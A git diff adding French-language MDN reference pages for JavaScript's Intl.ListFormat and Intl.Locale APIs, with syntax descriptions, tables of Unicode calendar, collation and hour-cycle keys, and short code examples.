const list = ['Motorcycle', 'Bus', 'Car'];
+
+ console.log(new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' }).format(list));
+// > Motorcycle, Bus and Car
+
+ console.log(new Intl.ListFormat('en-GB', { style: 'short', type: 'disjunction' }).format(list));
+// > Motorcycle, Bus or Car
+
+ console.log(new Intl.ListFormat('en-GB', { style: 'narrow', type: 'unit' }).format(list));
+// > Motorcycle Bus Car
+
+ +

Utiliser formatToParts()

+ +

Dans l'exemple qui suit, on voit comment créer un formateur de liste, renvoyant les fragments, pour l'anglais

+ +
const list = ['Motorcycle', 'Bus', 'Car'];
+console.log(new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' }).formatToParts(list));
+
+// > [ { "type": "element", "value": "Motorcycle" },
+       { "type": "literal", "value": ", " },
+       { "type": "element", "value": "Bus" },
+       { "type": "literal", "value": ", and " },
+       { "type": "element", "value": "Car" } ];
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormatProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.ListFormat")}}

+ +

Voir aussi

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}
diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.html new file mode 100644 index 0000000000..3b0f36ea4e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.html @@ -0,0 +1,82 @@ +--- +title: Intl​.List​Format​.prototype​.resolvedOptions() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/resolvedOptions +tags: + - Internationalisation + - Intl + - JavaScript + - ListFormat + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/resolvedOptions +--- +
{{JSRef}}{{Draft}}
+ +

La méthode  Intl.ListFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de locale et de style calculées à l'initialisation de l'objet {{jsxref("ListFormat")}}.

+ +

Syntaxe

+ +
listFormat.resolvedOptions()
+ +

Valeur de retour

+ +

Un nouvel objet dont les propriétés reflètent les options de locale et de style calculées lors de l'initialisation de l'objet {{jsxref("ListFormat")}}.

+ +

Description

+ +

L'objet renvoyé par resolvedOptions() possède les propriétés suivantes :

+ +
+
locale
+
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
+
style
+
La valeur fournie au constructeur via l'argument options ou la valeur utilisée par défaut ("long"). Cette propriété peut valoir "long", "short" ou "narrow".
+
type
+
La valeur fournie au constructeur via l'argument options ou la valeur par défaut ("conjunction"). Cette propriété peut valoir "conjunction", "disjunction" ou "unit".
+
+ +

Exemples

+ +
const deListFormatter = new Intl.ListFormat("de-DE", { style: "short" });
+
+const usedOptions = de.resolvedOptions();
+console.log(usedOptions.locale); // "de-DE"
+console.log(usedOptions.style);  // "short"
+console.log(usedOptions.type);   // "conjunction" (la valeur par défaut)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.prototype.resolvedOptions()Proposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.ListFormat.resolvedOptions")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • +
  • {{jsxref("NumberFormat.prototype.resolvedOptions()", "Intl.NumberFormat.prototype.resolvedOptions()")}}
    • +
  • {{jsxref("Collator.prototype.resolvedOptions()", "Intl.Collator.prototype.resolvedOptions()")}}
    • +
  • {{jsxref("DateTimeFormat.prototype.resolvedOptions()", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}
    • +
  • {{jsxref("PluralRules.prototype.resolvedOptions()", "Intl.PluralRules.prototype.resolvedOptions()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.html new file mode 100644 index 0000000000..90abe4f56d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.html @@ -0,0 +1,88 @@ +--- +title: Intl.ListFormat.supportedLocalesOf() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/supportedLocalesOf +tags: + - Intl + - JavaScript + - ListFormat + - Méthode + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/supportedLocalesOf +--- +
{{JSRef}}
+ +

The Intl.ListFormat.supportedLocalesOf() renvoie, parmi les locales fournies, un tableau contenant les locales supportées pour le formatage des listes et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement.

+ +

Syntaxe

+ +
Intl.ListFormat.supportedLocalesOf(locales[, options])
+ +

Paramètres

+ +
+
locales
+
Une chaîne de caractères qui est une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations concernant la forme générale de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
+
options{{optional_inline}}
+
+

Paramètre facultatif. Un objet qui peut posséder les propriétés suivantes :

+ +
+
localeMatcher
+
+

L'algorithme utilisé pour la correspondance entre chaînes de caractères. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Pour plus d'informations, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}.

+
+
+
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langues qui sont prises en charge pour le formatage des listes sans qu'il faille utiliser la locale par défaut de l'environnement d'exécution.

+ +

Description

+ +

Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locales fournies avec l'argument locales. Les balises renvoyées sont celles supportées par l'environnement navigateur en termes de formatage des listes et qui ne nécessitent pas d'utiliser la locale par défaut.

+ +

Exemples

+ +

Utiliser supportedLocalesOf

+ +

Si on dispose d'un environnement (un navigateur par exemple) qui supporte le formatage des listes dans les locales indonésienne, allemande mais pas balinaise,  supportedLocalesOf renvoie les balises pour l'indonésien et l'allemand quand bien même le formatage des listes pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme "lookup". SI on utilisait "best fit" pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien.

+ +
const locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
+const options = { localeMatcher: 'lookup' };
+console.log(Intl.ListFormat.supportedLocalesOf(locales, options).join(', '));
+// → "id-u-co-pinyin, de-ID"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.supportedLocalesOfProposition de niveau 3 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.ListFormat.supportedLocalesOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/basename/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/basename/index.html new file mode 100644 index 0000000000..6b20ebee57 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/basename/index.html @@ -0,0 +1,75 @@ +--- +title: Intl.Locale.prototype.baseName +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/baseName +tags: + - Internationalisation + - Intl + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/baseName +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.baseName renvoie un extrait de la chaîne de caractères représentant l'objet Locale. Cet extrait contient les informations essentielles à propos de l'objet Locale.

+ +

Description

+ +

Un objet Intl.Locale représente une locale ainsi que des options qui lui sont associées. La propriété baseName renvoie des informations essentielles quant à la locale sous la forme d'une chaîne de caractères. Cette chaîne est un extrait de la représentation textuelle complète de l'objet Locale. Cet extrait contient notamment la langue, le script utilisé ainsi que la région (s'ils sont disponibles).

+ +

Si on utilise la grammaire Unicode, baseName renvoie la sous-séquence language ["-" script] ["-" region] *("-" variant).

+ +

Exemples

+ +

Exemple simple

+ +
let myLoc = new Intl.Locale("fr-Latn-CA"); // Sets locale to Candanian French
+console.log(myLoc.toString()); // Prints out "fr-Latn-CA-u-ca-gregory"
+console.log(myLoc.baseName); // Prints out "fr-Latn-CA"
+ +

Exemple avec certaines options

+ +
// Sets language to Japanese, region to Japan,
+
+// calendar to Gregorian, hour cycle to 24 hours
+let japan = new Intl.Locale("ja-JP-u-ca-gregory-hc-24");
+console.log(japan.toString()); // Prints out "ja-JP-u-ca-gregory-hc-h24"
+console.log(japan.baseName); // Prints out "ja-JP"
+ +

Exemple avec options qui surchargent

+ +
// Input string indicates language as Dutch and region as Belgium,
+
+// but options object overrides the region and sets it to the Netherlands
+let dutch = new Intl.Locale("nl-Latn-BE", {region: "NL"});
+
+console.log(dutch.baseName); // Prints out "nl-Latn-NL"
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.baseNameProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.baseName")}}
+ +

Voir aussi

+ +
    +
  • {{jsxref("Locale", "Intl.Locale")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.html new file mode 100644 index 0000000000..cbe7f8db93 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.html @@ -0,0 +1,156 @@ +--- +title: Intl.Locale.prototype.calendar +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/calendar +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/calendar +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.calendar est une propriété (via un accesseur) qui renvoie le type de calendrier utilisé par l'instance de Locale.

+ +

Description

+ +

La propriété calendar renvoie la partie de la locale qui indique le calendrier utilisé. Bien que la plupart des régions utilise le calendrier grégorien, il existe différents calendriers utilisés. Le tableau qui suit indique les clés Unicode pour les différents calendriers ainsi qu'une description.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Clés Unicode pour les calendriers
Clé UnicodeDescription
buddhistCalendrier bouddhiste
chineseCalendrier chinois traditionnel
copticCalendrier copte
dangiCalendrier coréen traditionnel
ethioaaCalendrier éthiopique, Amete Alem (an 0 situé environ à  5493 ans avant notre ère)
ethiopicCalendrier éthiopique, Amete Mihret (an 0 situé environ à 8 ans de notre ère)
gregoryCalendrier grégorien
hebrewCalendrier traditionnel hébreux
indianCalendrier indien
islamicCalendrier islamique
islamic-umalquraCalendrier islamique, Umm al-Qura
islamic-tblaCalendrier islamique tabulaire (années intercalaires [2,5,7,10,13,16,18,21,24,26,29] - origine des temps astronomique)
islamic-civilCalendrier islamique tabulaire (années intercalaires [2,5,7,10,13,16,18,21,24,26,29] - origine des temps civile)
islamic-rgsaCalendrier islamique vu de l'Arabie saoudite
iso8601Calendrier ISO (calendrier grégorien utilisant la numérotation des semaines ISO 8601)
japaneseCalendrier japonais impérial
persianCalendrier perse
rocCalendrier de la République de Chine
+
La clé  islamicc est désormais dépréciée et il faut utiliser islamic-civil à la place.
+ +

islamicc

+ 		Calendrier arabe civil (algorithmique)
+ +

Exemples

+ +

Indiquer le calendrier via la chaîne de définition de la locale

+ +

Les calendriers font partie des « clés d'extension ». Ces clés permettent d'ajouter des informations supplémentaires aux locales et sont ajoutées via l'extension -u. Ainsi, on peut indiquer le calendrier utilisé via la chaîne de locale passée comme argument au constructeur {{jsxref("Locale", "Intl.Locale")}}. Pour ce faire, on ajoutera d'abord -u à la chaîne « courte » de la locale puis -ca afin d'indiquer qu'on précise le calendrier et enfin la chaîne représentant la clé du calendrier.

+ +
let frBuddhist = new Intl.Locale("fr-FR-u-ca-buddhist");
+console.log(frBuddhist.calendar); // affiche "buddhist" dans la console
+ +

Spécifier un calendrier grâce à un objet de configuration

+ +

Le constructeur {{jsxref("Locale", "Intl.Locale")}} peut utiliser un argument optionnel qui est un objet permettant de configurer la locale via différentes extensions dont les calendriers. En utilisant la propriété calendar de cet objet, on définit le calendrier qui sera utilisé :

+ +
let frBuddhist = new Intl.Locale("fr-FR", {calendar: "buddhist"});
+console.log(frBuddhist.calendar); // affiche "buddhist" dans la console
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.calendarProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/casefirst/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/casefirst/index.html new file mode 100644 index 0000000000..7403262d3d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/casefirst/index.html @@ -0,0 +1,94 @@ +--- +title: Intl.Locale.prototype.caseFirst +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/caseFirst +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/caseFirst +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.caseFirst est une propriété (via un accesseur) qui renvoie si la casse est prise en compte par la locale pour ses règles de collation (celles qui permettent d'ordonner des chaînes de caractères entre elles).

+ +

Description

+ +

Les règles de collation des locales sont utilisées afin de déterminer la façon dont les chaînes sont ordonnées pour cette locale. Certaines locales utilisent la casse (minuscule ou majuscule) dans ce processus de collation. Cette règle peut être exprimée via la propriété caseFirst d'une instance Locale.

+ +

Cette propriété peut avoir une des 3 valeurs suivantes :

+ + + + + + + + + + + + + + + + + + + + + + + +
Valeurs pour caseFirst
ValeurDescription
upperLes majuscules devraient être triées avant les minuscules.
lowerLes minuscules devraient être triées avant les majuscules.
falseLa casse n'a pas d'importance pour le tri des chaînes.
+ +

Exemples

+ +

Définir caseFirst grâce à la chaîne de description de la locale

+ +

Le constructeur Intl.Locale prend comme premier argument une chaîne de caractères qui décrit la locale. On peut allonger cette chaîne avec certaines valeurs afin de l'affiner.

+ +

Dans la spécification Unicode sur les clés des extensions, caseFirst correspond à la clé kf. kf. Il est possible d'ajouter des extensions à la chaîne identifiant la locale en la concaténant à -u puis en concaténant la clé de l'extension qu'on souhaite préciser (ici -kf) puis en ajoutant enfin la valeur pour cette extension (ici upper) :

+ +
let caseFirstStr = new Intl.Locale("fr-Latn-FR-u-kf-upper");
+console.log(caseFirstStr.caseFirst); // Prints "upper"
+ +

Définir caseFirst via l'objet de configuration

+ +

Le constructeur Intl.Locale permet d'utiliser un objet de configuration comme deuxième argument. Les propriétés de cet objet seront autant d'extensions Unicode à utiliser pour la locale. Ici, on peut utiliser un objet avec la propriété caseFirst pour indiquer l'impact de la casse sur la collation de cette locale :

+ +
let caseFirstObj= new Intl.Locale("en-Latn-US", {caseFirst: "lower"});
+console.log(us12hour.caseFirst); // affichera "lower" dans la console.
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.caseFirst")}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/collation/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/collation/index.html new file mode 100644 index 0000000000..46482bcd73 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/collation/index.html @@ -0,0 +1,167 @@ +--- +title: Intl.Locale.prototype.collation +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/collation +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/collation +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.collation est une propriété (à laquelle on accède via un accesseur) qui renvoie le type de collation pour l'instance de Locale courante. La collation est la méthode qui permet d'ordonner des chaînes de caractères en fonction des règles de la locale.

+ +

Description

+ +

La collation est la façon dont les chaînes de caractères sont ordonnées. Elle est utilisée lorsqu'on doit trier des chaînes de caractères (des résultats de recherche, des enregistrements dans une base de donnée, etc.). Bien que cela puisse sembler trivial, la collation varie d'une région à l'autre et d'une langue à une autre. Cette propriété permet aux développeurs de connaître le type de collation pour une locale donnée.

+ +

Voici un tableau listant les types de collation possibles tels que définis dans la spécification Unicode sur la collation.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Les différents types de collation
Type de collationDescription
big5hanOrdre pinyin pour l'alphabet latin et ordre big5 pour les caractères CJK (utilisés en chinois)
compatUne version précédente de l'ordre, utilisée à des fins de compatibilité
dictOrdre à la façon d'un dictionnaire (comme utilisé en cingalais)
+
+

Le type direct a été déprécié et ne doit pas être utilisé.

+
+ +

direct

+ 		Ordre des points de code binaires (utilisé en hindoux)
ducetLa collation Unicode par défaut pour les éléments d'un tableau
emojiL'ordre recommandé pour les émojis
eorRègles d'ordre européennes
gb2312Ordre pinyin pour l'alphabet latin et ordre gb2312han pour les caractères CJK (utilisés en chinois)
phonebkOrdre à la façon d'un annuaire (tel qu'en allemand)
phoneticOrdre phonétique, basé sur la prononciation
pinyinOrdre pinyin pour les caractères de l'alphabet latin et les caractères CJK (utilisés en chniois)
reformedOrdre réformé (tel qu'en suédois)
searchCollation spéciale pour les chaînes de caractères utilisées pour des recherches
searchjlCollation spéciale pour la recherche des consonnes initiales en coréen
standardL'ordre par défaut pour chaque langue
strokeOrdre pinyin pour l'alphabet latin et ordre de dessin (stroke) pour les caractères CJK (utilisés en chinois)
tradOrdre traditionnel (tel qu'en espagnol)
unihanOrdre pinyin pour l'alphabet latin et ordre Unihan radical pour les caractères CJK (utilisés en chinois)
zhuyin +

Ordre pinyin pour l'alphabet latin, ordre zhuyin pour les caractères Bopomofo et CJK (utilisés en chinois)

+
+ +

Exemples

+ +

À l'instar des autres étiquettes, le type de collation peut être défini pour l'objet {{jsxref("Locale", "Intl.Locale")}} via la chaîne de caractères qui définit la locale ou grâce au deuxième paramètre du constructeur qui est un objet de configuration.

+ +

Définir le type de collation via la chaîne décrivant la locale

+ +

Le premier argument passé à Intl.Locale est une chaîne de caractères qui décrit la locale. Cette chaîne peut contenir des fragments additionnels (en plus de l'identifiant canonique de la locale). Pour cela, on ajoutera -u afin d'indiquer qu'on définit une extension. On ajoutera ensuite la clé identifiant cette extension, ici -co pour la collation. Enfin, on ajoutera la valeur souhaitée pour cette extension (dans cet exemple, -emoji) :

+ +
let stringColl = new Intl.Locale("en-Latn-US-u-co-emoji");
+console.log(stringColl.collation); // Affichera "emoji" dans la console
+
+ +

Définir le type de collation via l'objet de configuration

+ +

Le constructeur Intl.Locale possède un deuxième argument optionnel qui est un objet de configuration. Chaque propriété de cet objet pourra permettre de préciser une extension à la locale, y compris un type de collation. Pour définir le type de collation, on pourra utiliser une propriété collation sur cet objet avec une des valeurs indiquées ci-avant :

+ +
let configColl = new Intl.Locale("en-Latn-US", {collation: "emoji"});
+console.log(configColl.collation); // Affichera "emoji" dans la console
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.collationProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Locale.collation")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Locale", "Intl.Locale")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/hourcycle/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/hourcycle/index.html new file mode 100644 index 0000000000..f88b4c5441 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/hourcycle/index.html @@ -0,0 +1,95 @@ +--- +title: Intl.Locale.prototype.hourCycle +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/hourCycle +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/hourCycle +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.hourCycle est une propriété accessible via un accesseur qui renvoie la convention pour le format des heures utilisée par la locale courante.

+ +

Description

+ +

Il existe deux types de conventions pour la représentation des heures : sur douze heures d'une part et sur vingt-quatre heures d'autre part. La propriété hourCycle permet aux développeurs de connaître la représentation utilisée par une locale donnée. À l'instar des autres données fournies par les instances de Locale, hourCycle représente une extension Unicode qui permet d'affiner le comportement d'une locale. Les valeurs de cette propriété/extension peuvent être :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Valeurs possibles pour l'extension hourCycle
CléDescription
h12Système horaire sur les heures 1 à 12 (correspond à la notation "h" pour les motifs de recherche). L'horloge est sur douze heures et minuit commence à 12:00 AM.
h23Système horaire sur les heures 0 à 23 (correspond à la notation "H" pour les motifs de recherche). L'horloge est sur vingt-quatre heures et minuit commence à 0:00.
h11Système horaire sur les heures 0 à 11 (correspond à la notation "K" pour les motifs de recherche). L'horloge est sur douze heures et minuit commence à 0:00 AM.
h24Système horaire sur les heures 1 à 24 (correspond à la notation "K" pour les motifs de recherche). L'horloge est sur vingt-quatre heures et minuit commence à 24:00.
+ +

Exemples

+ +

Définir le format horaire grâce à la chaîne décrivant la locale

+ +

Il est possible de préciser la valeur d'une extension Unicode dans la chaîne de caractères représentant la locale. Pour indiquer l'extension, on ajoutera le suffixe -u qui indique une clé d'extension à venir, ensuite on ajoutera la clé de l'extension en question (ici -hc) et enfin on ajoutera la valeur souhaitée pour cette extension.

+ +
let fr24hour = new Intl.Locale("fr-FR-u-hc-h23");
+console.log(fr24hour.hourCycle); // Affichera "h23" dans la console
+ +

Définir le format horaire grâce à un objet de configuration

+ +

Le constructeur Intl.Locale permet d'utiliser un objet de configuration comme deuxième argument. Les propriétés de cet objet permettent de définir différentes extensions, y compris celle pour le format horaire. Pour cela, on indiquera la propriété hourCycle sur l'objet de configuration avec la valeur souhaitée et on passera cet objet au constructeur.

+ +
let us12hour = new Intl.Locale("en-US-u-hc-h12");
+console.log(us12hour.hourCycle); // Affichera "h12" dans la console
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.hourCycle")}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/index.html new file mode 100644 index 0000000000..f5e22804fa --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/index.html @@ -0,0 +1,74 @@ +--- +title: Intl.Locale +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale +tags: + - Constructeur + - Intl + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale +--- +
{{JSRef}}{{SeeCompatTable}}
+ +

Le constructeur Intl.Locale est une propriété native de l'objet Intl représentant l'identifiant d'une locale Unicode.

+ +

{{EmbedInteractiveExample("pages/js/intl-locale.html")}}

+ + + +

Syntaxe

+ +
new Intl.Locale([tag[, options]])
+ +

Paramètres

+ +
+
tag
+
La chaîne de caractère représentant l'identifiant d'une locale Unicode.
+
options
+
Un objet contenant la configuration pour la locale. Les clés (noms des propriétés) de cet objets sont des balises Unicode et les valeurs de ces propriétés doivent être des valeurs de balises Unicode valides.
+
+ +

Description

+ +

L'objet Intl.locale a été conçu afin de manipuler des locales Unicode. Les locales Unicode sont représentées par une chaîne de caractères qu'on appelle « identifiant de locale ». L'identifant de locale se compose d'un identifiant de langue et d'extensions. Les identifiants de langue sont la composante principale d'une locale et contiennent une langue, un système d'écriture et des extensions régionales. Les informations complémentaires sont stockées via les extensions. Ces extensions peuvent fournir des informations quant au type de calendrier utilisé, le format d'heure utilisé ou la numération utilisée.

+ +

L'objet Intl.Locale possède les propriétés et méthodes suivantes.

+ +

Propriétés

+ +
+
{{jsxref("Locale.prototype","Intl.Locale.prototype")}}
+
Le prototype pour le constructeur Locale.
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Locale")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/language/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/language/index.html new file mode 100644 index 0000000000..1a3f95566d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/language/index.html @@ -0,0 +1,69 @@ +--- +title: Intl.Locale.prototype.language +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/language +tags: + - Internationalisation + - Intl + - JavaScript + - Locale + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/language +--- +
{{JSRef}}
+ +

La propriété Intl.Locale.prototype.language est une propriété fournie via un accesseur qui renvoie la langue associée à la locale.

+ +

Description

+ +

La langue est l'une des caractéristiques majeurs d'une locale. La spécification Unicode indique que l'identifiant de la langue d'une locale est composée de l'identifiant canonique de la langue et de l'identifiant de la réponse (on pourra ainsi distinguer l'anglais britannique de l'anglais américain). Toutefois, la propriété language de {{jsxref("Locale", "Locale")}} renvoie uniquement la composante relative à la langue.

+ +

Exemples

+ +

Indiquer la langue via la chaîne décrivant la locale

+ +

Afin de pouvoir représenter une locale Unicode correctement, une chaîne doit commencer par un identifiant de langue. Le principal argument du constructeur {{jsxref("Locale", "Locale")}} doit être un identifiant valide et doit donc contenir la composante liée à la langue.

+ +
let langStr = new Intl.Locale("en-Latn-US");
+
+console.log(langStr.language); // Affichera "en" dans la console
+ +

Surcharger la langue via l'objet de configuration

+ +

Bien que la composante de la langue doive être indiquée dans le premier paramètre, le constructeur {{jsxref("Locale", "Locale")}} prend comme deuxième argument un objet de configuration qui permet de surcharger cette composante.

+ +
let langObj = new Intl.Locale("en-Latn-US", {language: "es"});
+
+console.log(langObj.language); // Affichera "es" dans la console
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.languageProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +
{{Compat("javascript.builtins.Intl.Locale.language")}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.html b/files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.html new file mode 100644 index 0000000000..678db44d6e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.html @@ -0,0 +1,78 @@ +--- +title: Intl.Locale.prototype.maximize() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/maximize +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/maximize +--- +
{{JSRef}}
+ +

La méthode Intl.Locale.prototype.maximize() permet d'obtenir les valeurs les plus vraisemblantes pour la langue, le script et la région de la locale en fonction des valeurs existantes.

+ +

{{EmbedInteractiveExample("pages/js/intl-locale-prototype-maximize.html")}}

+ + + +

Syntaxe

+ +
locale.maximize()
+ +

Valeur de retour

+ +

Une instance {{jsxref("Locale", "Locale")}} dont la propriété baseName renvoie le résultat de l'algorithme de vraisemblance des composantes lancé sur {{jsxref("Locale/baseName", "locale.baseName")}}.

+ +

Description

+ +

Il est parfois utile d'identifier les composantes les plus probables d'une locale en fonction d'un identifiant incomplet. Cette méthode utilise un algorithme qui permet de déduire les composantes restantes les plus probables. Par exemple, si on fournit la langue "en", l'algorithme renverra "en-Latn-US", car l'anglais ne s'écrit qu'avec l'alphabet latin et est le plus largement parlé aux États-Unis. La méthode maximize() n'opère que sur les composantes principales (langue, script, région) et pas sur les extensions éventuellement indiquées après "-u" (dont Locale.hourCycle, Locale.calendar et Locale.numeric entre autres).

+ +

Exemples

+ +
let maLocale = new Intl.Locale("fr", {hourCycle: "h24", calendar: "gregory"});
+console.log(maLocale.baseName); // Affiche "fr"
+console.log(maLocale.toString()); // Affiche "fr-u-ca-gregory-hc-h24"
+let maLocMaximized = maLocale.maximize();
+
+// Affiche "fr-Latn-FR". Les composantes "Latn" et "FR" ont été ajoutées
+// car le français ne s'écrit qu'avec l'alphabet latin et est plus probablement parlé en France.
+console.log(maLocMaximized.baseName);
+
+// Affiche "fr-Latn-FR-u-ca-gregory-hc-h24".
+// On notera que les extensions (après "-u") restent inchangées.
+console.log(myLocMaximized.toString());
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.maximize()
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Locale.maximize")}}

+ +

Voir aussi

